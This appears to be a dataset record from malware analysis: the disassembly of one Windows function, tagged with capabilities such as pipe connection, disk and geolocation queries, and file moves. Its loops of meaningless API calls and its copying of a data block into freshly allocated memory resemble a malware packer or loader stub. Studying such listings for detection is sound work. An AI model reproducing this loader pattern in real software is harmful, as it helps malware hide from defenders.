Function at 0x470480
Capabilities:
Connect pipe
Get disk information
Get geographical location
Manipulate console buffer
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1864
call fcn.00408340
mov eax, dword [0x474008]
xor eax, esp
mov dword [esp + 0x1860], eax
mov edx, dword [0x475430]
mov ecx, dword [0x85b89c]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
lea esp, [esp]
cmp eax, 0x4db
jne 0x4704cd
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x4704e1
mov dword [0x475f10], edi
mov dword [0x475f14], esi
inc eax
cmp eax, 0x1180b56
jl 0x4704c0
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov dword [0x85b89c], ecx
xor esi, esi
cmp esi, 0x55b763
jne 0x470509
mov eax, dword [0x474fd8]
mov dword [0x85b9cc], eax
cmp ecx, 0x3c
jne 0x470518
push ebx
push ebx
call edi
mov ecx, dword [0x85b89c]
inc esi
cmp esi, 0x4cd9711a
jl 0x4704f7
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x16ea61
jg 0x470543
inc esi
cmp esi, 0x9438ed
jl 0x470530
mov eax, dword [0x85b89c]
cmp eax, 0x2a
jne 0x470600
lea ecx, [esp + 0x10]
push ecx
push ebx
push ebx
push ebx
push ebx
mov dword [0x85b890], ebx
mov dword [0x85b894], ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
xor eax, eax
push ebx
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov word [esp + 0x32], ax
lea eax, [esp + 0x46c]
push eax
push str.wukevuvitevasegexolij
lea ecx, [esp + 0x2c]
push ecx
push ebx
xor edx, edx
push ebx
mov word [esp + 0x38], dx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push ebx
lea edx, [esp + 0x6c]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
call fcn.0040109d
push ebx
push ebx
call fcn.0040120c
push ebx
call fcn.0040112c
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040109d
add esp, 0x20
push ebx
call fcn.004016c7
cmp eax, 0x7c
jne 0x4706fd
push ebx
push ebx
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
lea ecx, [esp + 0x86c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push ebx
lea edx, [esp + 0x1c]
push edx
push ebx
lea eax, [esp + 0x74]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x2e
lea ecx, [esp + 0x3c]
push ebx
push ecx
mov dword [esp + 0x40], ebx
call fcn.00405080
add esp, 0xc
push ebx
lea edx, [esp + 0x38]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebx
push ebx
lea eax, [esp + 0x1070]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push ebx
lea ecx, [esp + 0x20]
push ecx
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
xor eax, eax
xor edx, edx
mov word [esp + 0xe], ax
xor ecx, ecx
mov word [esp + 0x12], dx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x14], cx
mov ecx, dword [esp + 0x14]
push ecx
mov word [esp + 0x14], dx
mov edx, dword [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push ebx
lea ecx, [esp + 0x46c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x85b89c], 0x2d
jne 0x4706ef
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
call fcn.004011f6
mov eax, dword [0x85b89c]
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x85b89c]
mov esi, eax
xor ecx, ecx
mov dword [0x85b6e4], esi
cmp edx, ebx
jbe 0x47074e
mov edi, dword [0x85b9cc]
mov eax, 0x17bc
jmp 0x470730
mov bl, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], bl
cmp edx, 0x8d
jne 0x470747
mov dword [0x85b6e8], eax
inc ecx
cmp ecx, edx
jb 0x470730
xor ebx, ebx
call fcn.00470160
call fcn.00470020
call fcn.004703f0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor esi, esi
jmp 0x470770
cmp dword [0x85b89c], 0x41
jne 0x470786
lea edx, [esp + 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
cmp esi, 0xd589b
jne 0x470793
call fcn.00470010
cmp dword [0x85b89c], 0xc
jne 0x4707a7
lea eax, [esp + 0x18]
push eax
call edi
push 0
call ebx
inc esi
cmp esi, 0x24d8dd
jl 0x470770
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, 0x1dfe99
mov edi, 0x8e4e0198
cmp dword [0x85b89c], 0x7c4
mov dword [0x85b6ec], edi
jne 0x4707ef
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
mov word [esp + 0x10], cx
mov word [esp + 0x12], dx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push edx
push edx
call esi
sub ebx, 1
jne 0x4707c0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
lea edx, [esp + 0x34]
push edx
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0x408e
jle 0x470823
cmp dword [esp + 0x3c], 0xf5bed7
jne 0x47082c
inc esi
cmp esi, 0x687ed2
jl 0x470802
mov ecx, dword [esp + 0x186c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret